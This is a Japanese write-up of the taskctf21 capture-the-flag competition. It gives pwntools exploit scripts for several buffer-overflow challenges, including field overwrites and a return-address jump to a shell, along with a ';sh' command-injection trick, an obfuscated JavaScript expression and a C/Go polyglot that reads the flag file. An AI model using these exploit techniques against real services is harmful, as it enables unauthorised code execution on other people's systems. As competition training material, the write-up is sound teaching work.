taskctf21 writeup
Pwnable
super_easy
典型的なbof
なんかinitialize
呼び出されてないしワンチャンいけないかと思ったけどワンチャン無かった.
色々やってもいいが,とりあえずtask.is_done
をやる.
#!/usr/bin/env python3
from pwn import *
binfile = 'super_easy'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('server_address', 30002)
payload = b'a' * 17
io.sendlineafter(b'name\n', payload)
io.recvuntil(b'97')
io.readline()
print(io.recvuntil(b'}').decode())
super_easy2
task.score == 0x1337
が追加される
冷静にやる
#!/usr/bin/env python3
from pwn import *
binfile = 'super_easy2'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('server_addr', 30003)
payload = b'a' * 16
payload += b'a' * 4
#payload += pack(0x1337)
payload += b'\x37\x13\x00\x00'
io.sendlineafter(b'name\n', payload)
io.readline()
io.readline()
io.readline()
print(io.recvuntil(b'}').decode())
super_easy3
deadlineのチェックが入る
適当に今の時間を作ってやる
最初rate
に気づかず,通らないので焦った
冷静にやる
#!/usr/bin/env python3
from pwn import *
binfile = 'super_easy3'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('server_addr', 30004)
payload = b'a' * 16
payload += b'b' * 4
payload += b'\x37\x13\x00\x00'
payload += b'\xef\xbe\xad\xde'
payload += b'\xef\xbe\xad\xde'
assert(len(payload) == 32)
payload += b'\x77\xa9\xb5\x61'
io.sendlineafter(b'name\n', payload)
io.recvuntil(b'2021\n')
io.readline()
print(io.recvuntil(b'}').decode())
script_kiddie2
system
してくれるので,;sh
でそのままシェルとる.
prediction
revっぽいバイナリがあるが,bofがあるのと比較失敗時にexitせずreturnしてる上,canaryも無いのでやり放題
system(binsh)
prediction
revっぽいバイナリがあるが,bofがあるのと比較失敗時にexitせずreturnしてる上,canaryも無いのでやり放題.
system(binsh)
してるので,そこに飛ばす
#!/usr/bin/env python3
from pwn import *
binfile = 'prediction'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('server_addr', 30006)
shell = 0x4013f7
payload = b'a'*0x38
payload += pack(shell)
io.sendlineafter(b'?', payload)
io.sendlineafter(b'flag\00', b'cat flag')
print(io.recvuntil(b'}').decode())
misc
js
気合
((+((++[[]][+[]])+([][[]]+[])[(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])]+((++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]]))+(+[])+((++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])))+[])[(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])])+(![]+[])[(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])]+(![]+[])[(++[[]][+[]])+(++[[]][+[]])+(++[[]][+[]])]
polygolf
Goのprint
はstderrに吐くらしいのと,fから始まる他のファイルがあるらしく,これでは通らなかった
//\
/*
main(){system("cat f*");}
#if 0
//*/
package main
import ."os/exec"
func main(){o,_:=Command("cat","flag").Output();print(string(o))}
//\
/*
#endif
//*/
Comments